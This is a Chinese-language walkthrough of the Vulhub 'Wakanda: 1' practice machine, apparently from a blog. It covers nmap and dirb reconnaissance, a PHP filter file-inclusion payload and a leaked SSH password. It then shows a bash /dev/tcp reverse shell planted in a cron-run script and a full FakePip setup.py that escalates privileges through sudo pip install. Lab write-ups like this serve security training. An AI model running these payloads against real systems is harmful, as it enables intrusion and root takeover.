Vulhub Wakanda : 1靶机详解

1. 主机发现+端口扫描+目录扫描+敏感信息获取

1.1. 主机发现

plain 复制代码
nmap -sn 192.168.7.0/24|grep -B 2 '08:00:27:DB:19:70'

1.2. 端口扫描

plain 复制代码
nmap 192.168.7.171 -p- -A

1.3. 目录扫描

plain 复制代码
dirb http://192.168.7.171

1.4. 敏感信息收集

plain 复制代码
whatweb http://192.168.7.171

2. WEB打点寻找漏洞点

2.1. 访问80端口

1.进了主页面,老规矩随便点点功能点,网页底线有些邮箱信息【mamadou】,暂时没实际用途 -> 查看网站源代码,有提示

2.拼接/?lang=fr试试看,没事大变换,但是url可能存在文件包含漏洞

3.尝试读取拼接路径读取网站源码

plain 复制代码
/?lang=php://filter/convert.base64-encode/resource=index

直接看网站源代码方便一些 -> 疑似base64加密 -> 解密得到密码

Niamey4Ever227!!!

2.2. SSH登录-GetShell

尝试用得到的密码搭配着邮箱信息登陆一下 -> 登录成功

plain 复制代码
mamadou:Niamey4Ever227!!!

切换至shell窗口

3. 权限提升

1查看当前用户的命令权限,没权限看 -> 查看内核版本,没有找到合适的提权方式

plain 复制代码
sudo -l
uname -a

2.在passwd中发现另一个用户 devops

3进入devops根目录,查看flag2文件,没有权限

4.看看其他关联文件

plain 复制代码
find / -user devops 2>/dev/null

发现 /srv/.antivirus.py 文件会将内容写入到 /tmp/test 中

plain 复制代码
cat /srv/.antivirus.py
open('/tmp/test','w').write('test')

将内容修改一下,尝试执行反弹shell

plain 复制代码
vi /srv/.antivirus.py
import os
os.system("echo 'bash -i >& /dev/tcp/192.168.7.36/4444 0>&1'|bash")

5.打开kali的监听【因为是计划任务稍等一会就会上线】

plain 复制代码
nc -lvvp 4444

查看第二个flag文件

6.查看当前用户的命令权限 -> 是all,尝试直接提权 -> 不大行

plain 复制代码
sudo -l
sudo su

7.网上找了一个相干的exp,创建一个setup.py,在其中写入

plain 复制代码
from setuptools import setup
from setuptools.command.install import install
import base64
import os
 
 
class CustomInstall(install):
    def run(self):
        install.run(self)
        RHOST = '192.168.7.36' 
 
        reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 8888; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
        encoded = base64.b64encode(reverse_shell)
        os.system('echo %s|base64 -d|bash' % encoded)
 
 
setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='andre.marques@esecurity.com.br',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

修改为kali的ip

开启临时web服务,将其下载到 /tmp 目录中

plain 复制代码
wget http://192.168.7.36:8001/setup.py

kali开启监听

plain 复制代码
nc -lvnp 8888

靶机执行命令,成功反弹shell,提权成功

plain 复制代码
sudo /usr/bin/pip install . --upgrade --force-reinstall
相关推荐
天蓝的想15 分钟前
Kueue 如何管理 DRA 模式下的 GPU 配额
运维·服务器
编程(变成)小辣鸡1 小时前
如何防止接口被恶意刷?
java·后端·网络安全
ylscode8 小时前
OpenSSH 10.4 正式发布:后量子加密落地,多项高危漏洞得到修复
网络·安全·网络安全
DianSan_ERP9 小时前
电商架构演进:如何在高并发场景下实现多平台API的标准化履约?
运维·前端·网络·安全·架构·自动化
恒5399 小时前
Linux文件系统I
linux·运维·服务器
阿成学长_Cain9 小时前
Linux ipcs 命令超全详解:查看共享内存 / 消息队列 / 信号量,IPC 运维必备
linux·运维·服务器·网络·数据库
青瓦梦滋10 小时前
协议定制/序列化-反序列化(Linux视角)
linux·服务器·网络·c++
运维老郭12 小时前
【K8s运维实战】Kubernetes临时存储卷实战:emptyDir核心用法与gitRepo弃用迁移指南
运维·云原生·kubernetes
珠海西格电力12 小时前
云边端协同架构:零碳园区管理系统的技术底座
大数据·运维·人工智能·算法·架构·能源
阿成学长_Cain13 小时前
Linux dirs命令详解|Bash目录堆栈管理快速切换目录实战教程
linux·运维·前端·数据库